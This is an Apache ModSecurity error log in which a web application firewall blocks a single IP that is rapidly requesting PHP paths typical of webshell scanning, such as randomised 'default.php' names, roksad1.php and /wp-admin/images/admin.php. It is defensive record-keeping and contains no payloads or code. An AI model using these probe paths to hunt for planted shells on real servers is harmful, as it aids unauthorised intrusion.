[Fri Apr 10 22:21:00.611768 2026] [:error] [pid 13189:tid 13201] [client 158.158.45.58:49462] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adkHTJAxiJKPums3eBDYGgAAAEk"]
[Fri Apr 10 22:21:01.089028 2026] [:error] [pid 13101:tid 13133] [client 158.158.45.58:3672] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adkHTd8Ldw85818pj2r0JAAAAIA"]
[Fri Apr 10 22:21:01.566031 2026] [:error] [pid 13101:tid 13147] [client 158.158.45.58:3674] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adkHTd8Ldw85818pj2r0JwAAAI4"]
[Fri Apr 10 22:21:02.050521 2026] [:error] [pid 13101:tid 13135] [client 158.158.45.58:41962] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adkHTt8Ldw85818pj2r0LAAAAII"]
[Fri Apr 10 22:21:02.534685 2026] [:error] [pid 13189:tid 13195] [client 158.158.45.58:39154] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adkHTpAxiJKPums3eBDYHQAAAEM"]
[Fri Apr 10 22:21:03.042481 2026] [:error] [pid 13101:tid 13148] [client 158.158.45.58:3096] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adkHT98Ldw85818pj2r0NgAAAI8"]
[Fri Apr 10 22:21:03.534332 2026] [:error] [pid 13101:tid 13157] [client 158.158.45.58:39069] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adkHT98Ldw85818pj2r0OgAAAJg"]
[Fri Apr 10 22:21:04.030454 2026] [:error] [pid 62769:tid 62774] [client 158.158.45.58:44190] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/image.php"] [unique_id "adkHUMWsSnfLoB8ifjB74QAAAkM"]
[Fri Apr 10 22:21:04.534405 2026] [:error] [pid 62884:tid 62898] [client 158.158.45.58:39144] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/image.php"] [unique_id "adkHUOUCK1xrhnnmpo2MSgAAAsc"]
[Fri Apr 10 22:21:05.006110 2026] [:error] [pid 62769:tid 62778] [client 158.158.45.58:3088] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/image.php"] [unique_id "adkHUcWsSnfLoB8ifjB75QAAAkc"]
[Fri Apr 10 22:21:05.481202 2026] [:error] [pid 13101:tid 13139] [client 158.158.45.58:27237] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/image.php"] [unique_id "adkHUd8Ldw85818pj2r0PQAAAIY"]
[Fri Apr 10 22:21:05.951874 2026] [:error] [pid 13189:tid 13197] [client 158.158.45.58:26047] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adkHUZAxiJKPums3eBDYIgAAAEU"]
[Fri Apr 10 22:21:06.426616 2026] [:error] [pid 62651:tid 62657] [client 158.158.45.58:29803] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adkHUjbAH0le57SIaqwsLQAAAcQ"]
[Fri Apr 10 22:21:06.923627 2026] [:error] [pid 62884:tid 62903] [client 158.158.45.58:39103] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adkHUuUCK1xrhnnmpo2MTwAAAsw"]
[Fri Apr 10 22:21:07.401776 2026] [:error] [pid 62710:tid 62725] [client 158.158.45.58:3309] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adkHU-ME7qrf5xEWWJsoowAAAgw"]
[Fri Apr 10 22:21:07.938715 2026] [:error] [pid 62769:tid 62776] [client 158.158.45.58:39164] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adkHU8WsSnfLoB8ifjB78QAAAkU"]
[Fri Apr 10 22:21:08.428598 2026] [:error] [pid 13189:tid 13193] [client 158.158.45.58:3485] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adkHVJAxiJKPums3eBDYKwAAAEE"]
[Fri Apr 10 22:21:08.908458 2026] [:error] [pid 62769:tid 62786] [client 158.158.45.58:28612] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adkHVMWsSnfLoB8ifjB7-QAAAk8"]
[Fri Apr 10 22:21:09.401300 2026] [:error] [pid 62769:tid 62783] [client 158.158.45.58:28994] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adkHVcWsSnfLoB8ifjB7_wAAAkw"]
[Fri Apr 10 22:21:09.884098 2026] [:error] [pid 62769:tid 62782] [client 158.158.45.58:39731] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adkHVcWsSnfLoB8ifjB8CAAAAks"]
[Fri Apr 10 22:21:10.368979 2026] [:error] [pid 13189:tid 13212] [client 158.158.45.58:21053] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adkHVpAxiJKPums3eBDYLgAAAFQ"]
[Fri Apr 10 22:21:10.873667 2026] [:error] [pid 13189:tid 13199] [client 158.158.45.58:35858] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adkHVpAxiJKPums3eBDYMQAAAEc"]
[Fri Apr 10 22:21:11.366865 2026] [:error] [pid 63134:tid 63156] [client 158.158.45.58:21002] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adkHV9FALqPDwWi6eJKxjAAAA9M"]
[Fri Apr 10 22:21:11.847230 2026] [:error] [pid 62769:tid 62788] [client 158.158.45.58:39128] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "adkHV8WsSnfLoB8ifjB8FAAAAlE"]
[Fri Apr 10 22:21:12.411064 2026] [:error] [pid 13189:tid 13207] [client 158.158.45.58:21053] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "adkHWJAxiJKPums3eBDYOgAAAE8"]
[Fri Apr 10 22:21:12.907059 2026] [:error] [pid 62769:tid 62793] [client 158.158.45.58:27234] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "adkHWMWsSnfLoB8ifjB8HAAAAlY"]
[Fri Apr 10 22:21:13.403644 2026] [:error] [pid 63134:tid 63151] [client 158.158.45.58:34832] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "adkHWdFALqPDwWi6eJKxjwAAA84"]
[Fri Apr 10 22:21:13.883825 2026] [:error] [pid 13101:tid 13136] [client 158.158.45.58:3697] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "adkHWd8Ldw85818pj2r0RwAAAIM"]
[Fri Apr 10 22:21:14.361770 2026] [:error] [pid 13101:tid 13137] [client 158.158.45.58:40478] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "adkHWt8Ldw85818pj2r0SAAAAIQ"]
[Fri Apr 10 22:21:14.855855 2026] [:error] [pid 13189:tid 13214] [client 158.158.45.58:21048] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "adkHWpAxiJKPums3eBDYQgAAAFY"]
[Fri Apr 10 22:21:15.343517 2026] [:error] [pid 62769:tid 62775] [client 158.158.45.58:29005] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "adkHW8WsSnfLoB8ifjB8KAAAAkQ"]
[Fri Apr 10 22:21:15.854972 2026] [:error] [pid 62769:tid 62783] [client 158.158.45.58:29043] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adkHW8WsSnfLoB8ifjB8LQAAAkw"]
[Fri Apr 10 22:21:16.901405 2026] [:error] [pid 62769:tid 62774] [client 158.158.45.58:27233] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adkHXMWsSnfLoB8ifjB8OAAAAkM"]
[Fri Apr 10 22:21:17.482632 2026] [:error] [pid 62769:tid 62782] [client 158.158.45.58:41576] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adkHXcWsSnfLoB8ifjB8QgAAAks"]
[Fri Apr 10 22:21:18.158899 2026] [:error] [pid 63062:tid 63084] [client 158.158.45.58:39704] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adkHXp2HtsmV85NqkMf7lQAAA5Q"]
[Fri Apr 10 22:21:19.037394 2026] [:error] [pid 63134:tid 63153] [client 158.158.45.58:34875] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adkHX9FALqPDwWi6eJKxkwAAA9A"]
[Fri Apr 10 22:21:19.753662 2026] [:error] [pid 62819:tid 62836] [client 158.158.45.58:44163] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adkHX_U20EyPf7NlsldzWwAAAo4"]
[Fri Apr 10 22:21:20.286573 2026] [:error] [pid 62819:tid 62845] [client 158.158.45.58:27241] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adkHYPU20EyPf7NlsldzXQAAApc"]
[Fri Apr 10 22:21:20.891757 2026] [:error] [pid 62651:tid 62656] [client 158.158.45.58:39707] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adkHYDbAH0le57SIaqwsMwAAAcM"]
[Fri Apr 10 22:21:21.769589 2026] [:error] [pid 13189:tid 13199] [client 158.158.45.58:33824] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "adkHYZAxiJKPums3eBDYTQAAAEc"]
[Fri Apr 10 22:21:22.265592 2026] [:error] [pid 62884:tid 62899] [client 158.158.45.58:42296] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "adkHYuUCK1xrhnnmpo2MXAAAAsg"]
[Fri Apr 10 22:21:22.747872 2026] [:error] [pid 62769:tid 62775] [client 158.158.45.58:3517] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "adkHYsWsSnfLoB8ifjB8VwAAAkQ"]
[Fri Apr 10 22:21:23.234792 2026] [:error] [pid 62710:tid 62722] [client 158.158.45.58:35842] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "adkHY-ME7qrf5xEWWJsoxQAAAgk"]
[Fri Apr 10 22:21:23.723064 2026] [:error] [pid 63134:tid 63153] [client 158.158.45.58:34321] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adkHY9FALqPDwWi6eJKxpAAAA9A"]
[Fri Apr 10 22:21:24.321847 2026] [:error] [pid 63134:tid 63148] [client 158.158.45.58:27231] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adkHZNFALqPDwWi6eJKxpQAAA8s"]
[Fri Apr 10 22:21:24.841618 2026] [:error] [pid 63134:tid 63143] [client 158.158.45.58:38058] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adkHZNFALqPDwWi6eJKxpgAAA8Y"]
[Fri Apr 10 22:21:25.348251 2026] [:error] [pid 63134:tid 63158] [client 158.158.45.58:41295] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adkHZdFALqPDwWi6eJKxqQAAA9U"]
[Fri Apr 10 22:21:25.844588 2026] [:error] [pid 13189:tid 13203] [client 158.158.45.58:42261] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adkHZZAxiJKPums3eBDYVgAAAEs"]
[Fri Apr 10 22:21:26.371301 2026] [:error] [pid 62710:tid 62717] [client 158.158.45.58:34820] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adkHZuME7qrf5xEWWJso1gAAAgQ"]
[Fri Apr 10 22:21:26.903458 2026] [:error] [pid 13101:tid 13155] [client 158.158.45.58:32267] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adkHZt8Ldw85818pj2r0XwAAAJY"]
[Fri Apr 10 22:21:27.557477 2026] [:error] [pid 62710:tid 62736] [client 158.158.45.58:34336] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adkHZ-ME7qrf5xEWWJso2AAAAhc"]
[Fri Apr 10 22:21:28.030691 2026] [:error] [pid 13189:tid 13212] [client 158.158.45.58:21315] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adkHaJAxiJKPums3eBDYYQAAAFQ"]
[Fri Apr 10 22:21:28.520691 2026] [:error] [pid 62884:tid 62906] [client 158.158.45.58:39080] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adkHaOUCK1xrhnnmpo2MYwAAAs8"]
[Fri Apr 10 22:21:29.025189 2026] [:error] [pid 62819:tid 62842] [client 158.158.45.58:28571] [client 158.158.45.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adkHafU20EyPf7NlsldzaQAAApQ"]
